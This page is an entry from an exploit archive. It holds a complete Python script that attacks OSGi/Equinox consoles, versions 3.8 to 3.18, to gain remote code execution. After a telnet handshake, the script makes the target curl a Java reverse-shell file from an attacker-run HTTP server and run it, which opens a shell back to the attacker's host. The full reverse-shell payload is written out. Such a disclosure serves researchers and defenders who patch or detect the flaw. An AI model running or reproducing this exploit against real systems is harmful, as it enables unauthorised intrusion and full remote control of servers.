OSGi 3.18 Remote Code Execution

2024.03.13
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/python # Exploit Title: [OSGi v3.8-3.18 Console RCE] # Date: [2023-07-28] # Exploit Author: [Andrzej Olchawa, Milenko Starcik, # VisionSpace Technologies GmbH] # Exploit Repository: # [https://github.com/visionspacetec/offsec-osgi-exploits.git] # Vendor Homepage: [https://eclipse.dev/equinox] # Software Link: [https://archive.eclipse.org/equinox/] # Version: [3.8 - 3.18] # Tested on: [Linux kali 6.3.0-kali1-amd64] # License: [MIT] # # Usage: # python exploit.py --help # # Example: # python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 \ # --lport=4444 """ This is an exploit that allows to open a reverse shell connection from the system running OSGi v3.8-3.18 and earlier. """ import argparse import socket import sys import threading from functools import partial from http.server import BaseHTTPRequestHandler, HTTPServer # Stage 1 of the handshake message HANDSHAKE_STAGE_1 = \ b"\xff\xfd\x01\xff\xfd" \ b"\x03\xff\xfb\x1f\xff" \ b"\xfa\x1f\x00\x74\x00" \ b"\x37\xff\xf0\xff\xfb" \ b"\x18" # Stage 2 of the handshake message HANDSHAKE_STAGE_2 = \ b"\xff\xfa\x18\x00\x58" \ b"\x54\x45\x52\x4d\x2d" \ b"\x32\x35\x36\x43\x4f" \ b"\x4c\x4f\x52\xff\xf0" # The buffer of this size is enough to handle the telnet handshake BUFFER_SIZE = 2 * 1024 class HandlerClass(BaseHTTPRequestHandler): """ This class overrides the BaseHTTPRequestHandler. It provides a specific functionality used to deliver a payload to the target host. """ _lhost: str _lport: int def __init__(self, lhost, lport, *args, **kwargs): self._lhost = lhost self._lport = lport super().__init__(*args, **kwargs) def _set_response(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() def do_GET(self): # pylint: disable=C0103 """ This method is responsible for the playload delivery. """ print("Delivering the payload...") self._set_response() self.wfile.write(generate_revshell_payload( self._lhost, self._lport).encode('utf-8')) raise KeyboardInterrupt def log_message(self, format, *args): # pylint: disable=W0622 """ This method redefines a built-in method to suppress BaseHTTPRequestHandler log messages. """ return def generate_revshell_payload(lhost, lport): """ This function generates the Revershe Shell payload that will be executed on the target host. """ payload = \ "import java.io.IOException;import java.io.InputStream;" \ "import java.io.OutputStream;import java.net.Socket;" \ "class RevShell {public static void main(String[] args) " \ "throws Exception { String host=\"%s\";int port=%d;" \ "String cmd=\"sh\";Process p=new ProcessBuilder(cmd)." \ "redirectErrorStream(true).start();Socket s=new Socket(host,port);" \ "InputStream pi=p.getInputStream(),pe=p.getErrorStream(), " \ "si=s.getInputStream();OutputStream po=p.getOutputStream()," \ "so=s.getOutputStream();while(!s.isClosed()){while(pi.available()" \ ">0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());" \ "while(si.available()>0)po.write(si.read());so.flush();po.flush();" \ "Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};" \ "p.destroy();s.close();}}\n" % ( lhost, lport) return payload def run_payload_delivery(lhost, lport): """ This function is responsible for payload delivery. """ print("Setting up the HTTP server for payload delivery...") handler_class = partial(HandlerClass, lhost, lport) server_address = ('', 80) httpd = HTTPServer(server_address, handler_class) try: print("[+] HTTP server is running.") httpd.serve_forever() except KeyboardInterrupt: print("[+] Payload delivered.") except Exception as err: # pylint: disable=broad-except print("[-] Failed payload delivery!") print(err) finally: httpd.server_close() def generate_stage_1(lhost): """ This function generates the stage 1 of the payload. """ stage_1 = b"fork \"curl http://%s -o ./RevShell.java\"\n" % ( lhost.encode() ) return stage_1 def generate_stage_2(): """ This function generates the stage 2 of the payload. """ stage_2 = b"fork \"java ./RevShell.java\"\n" return stage_2 def establish_connection(rhost, rport): """ This function creates a socket and establishes the connection to the target host. """ print("[*] Connecting to OSGi Console...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((rhost, rport)) print("[+] Connected.") return sock def process_handshake(sock): """ This function process the handshake with the target host. """ print("[*] Processing the handshake...") sock.recv(BUFFER_SIZE) sock.send(HANDSHAKE_STAGE_1) sock.recv(BUFFER_SIZE) sock.send(HANDSHAKE_STAGE_2) sock.recv(BUFFER_SIZE) sock.recv(BUFFER_SIZE) def deliver_payload(sock, lhost): """ This function executes the first stage of the exploitation. It triggers the payload delivery mechanism to the target host. """ stage_1 = generate_stage_1(lhost) print("[*] Triggering the payload delivery...") sock.send(stage_1) sock.recv(BUFFER_SIZE) sock.recv(BUFFER_SIZE) def execute_payload(sock): """ This function executes the second stage of the exploitation. It sends payload which is responsible for code execution. """ stage_2 = generate_stage_2() print("[*] Executing the payload...") sock.send(stage_2) sock.recv(BUFFER_SIZE) sock.recv(BUFFER_SIZE) print("[+] Payload executed.") def exploit(args, thread): """ This function sends the multistaged payload to the tareget host. """ try: sock = establish_connection(args.rhost, args.rport) process_handshake(sock) deliver_payload(sock, args.lhost) # Join the thread running the HTTP server # and wait for payload delivery thread.join() execute_payload(sock) sock.close() print("[+] Done.") except socket.error as err: print("[-] Could not connect!") print(err) sys.exit() def parse(): """ This fnction is used to parse and return command-line arguments. """ parser = argparse.ArgumentParser( prog="OSGi-3.8-console-RCE", description="This tool will let you open a reverse shell from the " "system that is running OSGi with the '-console' " "option in versions between 3.8 and 3.18.", epilog="Happy Hacking! :)", ) parser.add_argument("--rhost", dest="rhost", help="remote host", type=str, required=True) parser.add_argument("--rport", dest="rport", help="remote port", type=int, required=True) parser.add_argument("--lhost", dest="lhost", help="local host", type=str, required=False) parser.add_argument("--lport", dest="lport", help="local port", type=int, required=False) parser.add_argument("--version", action="version", version="%(prog)s 0.1.0") return parser.parse_args() def main(args): """ Main fuction. """ thread = threading.Thread( target=run_payload_delivery, args=(args.lhost, args.lport)) thread.start() exploit(args, thread) if __name__ == "__main__": main(parse())


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top